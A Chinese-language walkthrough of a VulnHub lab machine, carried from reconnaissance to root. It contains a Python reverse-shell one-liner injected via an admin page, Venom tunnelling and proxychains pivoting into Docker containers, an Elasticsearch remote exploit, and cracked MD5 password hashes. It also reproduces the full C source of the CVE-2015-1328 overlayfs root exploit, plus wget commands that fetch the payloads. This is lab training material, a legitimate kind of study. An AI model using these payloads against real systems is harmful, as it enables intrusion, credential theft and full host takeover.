靶机系列-----medium

声明

请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。

靶机地址：

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

1.1主机发现

sudo arp-scan -l

1.2端口扫描

nmap -p-  192.168.5.122

nmap -p 22,5000  -sV   192.168.5.122

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-13 03:00 EST
Nmap scan report for 192.168.5.122 (192.168.5.122)
Host is up (0.00058s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds

运行的 python2 环境

1.3路径爬取

对 http://192.168.5.213:8080/ 进行查看

爆破路径

dirsearch  -u  http://192.168.5.122:5000/

发现了 http://192.168.5.122:5000/admin 路径

1.4代码注入

利用此输入框导入一些反弹shell 代码

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.73",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
nc -lvnp 4444

成功反弹到 shell

发现是一个 docker 容器

1.5内网信息收集

发现 ip 为 172.17.0.3

使用一个脚本来 ping

for i in $(seq 1 10); do ping -c 1 172.17.0.$i ; done

发现了两个 ip 172.17.0.2 172.17.0.1

1.6内网穿透

需要使用 Venom 工具搭建代理

cd Venom
mv  agent_linux_x64  a
python3 -m  http.server 80
wget http://192.168.5.73/a   //靶机下载a
chmod 777  admin_linux_x64
sudo  ./admin_linux_x64  -lport  9999
chmod 777 a
./a  -rhost 192.168.5.73  -rport 9999
goto 1
socks 1080

配置成功了

sudo  vim  /etc/proxychains4.conf[ProxyList]socks5   127.0.0.1  1080

1.7容器探测

proxychains    nmap  -Pn -sT 172.17.0.1

proxychains    nmap  -Pn  -sT -p22,5000 -sV     172.17.0.1

发现一样的然后需要用浏览器去访问

首先需要去配置代理

访问 http://172.17.0.1:5000/

发现了熟悉的界面仍然访问 http://172.17.0.1:5000/admin

还是要用到上述反弹shell 代码

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.73",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);nc -lvnp 5555

但是并没有什么结果!!!!!!!!!!!!!!!!!!!!!!!

然后对 172.17.0.2 进行扫描测试

proxychains    nmap  -Pn -sT 172.17.0.2

proxychains    nmap  -Pn -sT  -p9200   -sV   172.17.0.2

发现运行着 Elasticsearch 服务

1.8漏洞利用

searchsploit Elasticsearch

分析代码，执行代码

cp  /usr/share/exploitdb/exploits/linux/remote/36337.py .
proxychains   python2  36337.py   172.17.0.2

拿到 172.17.0.2 容器的权限

1.9密码破解

cat  passwords

拿到账号密码

john:3f8184a7343664553fcb5337a3138814        1337hacktest:861f194e9d6118f3d942a72be3e51749        1234testadmin:670c3bbc209a18dde5446e5e6c1f1d5b       1111passroot:b3d34352fc26117979deabdf1b9b6354        1234passjane:5c158b60ed97c723b673529b8a3cf72b        1234jane

https://www.somd5.com/ 利用此在线网站破解 md5 破解出来密码

拿到账号密码直接登录

1.10本地提权（内核漏洞）

ssh  john@192.168.5.122   //密码为  1337hack

登录成功！！！！！！！！！！！！！！！！

uname -a

searchsploit linux 3.13
cp  /usr/share/exploitdb/exploits/linux/local/37292.c .
vim  37292.c
gcc -o exp 37292.c

修改代码

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{char *file;system("rm -rf /tmp/ns_sploit");mkdir("/tmp/ns_sploit", 0777);mkdir("/tmp/ns_sploit/work", 0777);mkdir("/tmp/ns_sploit/upper",0777);mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lowerif (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");exit(-1);}file = ".access";chmod("/tmp/ns_sploit/work/work",0777);} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");rename(file,"ld.so.preload");
chdir("/");umount("/tmp/ns_sploit/o");fprintf(stderr,"mount #2\n");if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {exit(-1);}chmod("/tmp/ns_sploit/work/work",0777);}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{int status, fd, lib;pid_t wrapper, init;int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {if(unshare(CLONE_NEWUSER) != 0)fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {pid_t pid =clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);if(pid < 0) {fprintf(stderr, "failed to create new mount namespace\n");exit(-1);}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);return 0;}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {fprintf(stderr,"exploit failed\n");exit(-1);}
fprintf(stderr,"/etc/ld.so.preload created\n");write(fd,"/tmp/ofs-lib.so\n",16);close(fd);system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");execl("/bin/su","su",NULL);
}

cp  /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
python3 -m  http.server 80
wget http://192.168.5.73/exp
wget http://192.168.5.73/ofs-lib.so
mv  * /tmp/
cd /tmp
./exp

拿到靶机的最高权限！！！！！！成功!!!!!!!!!!!!!!!!

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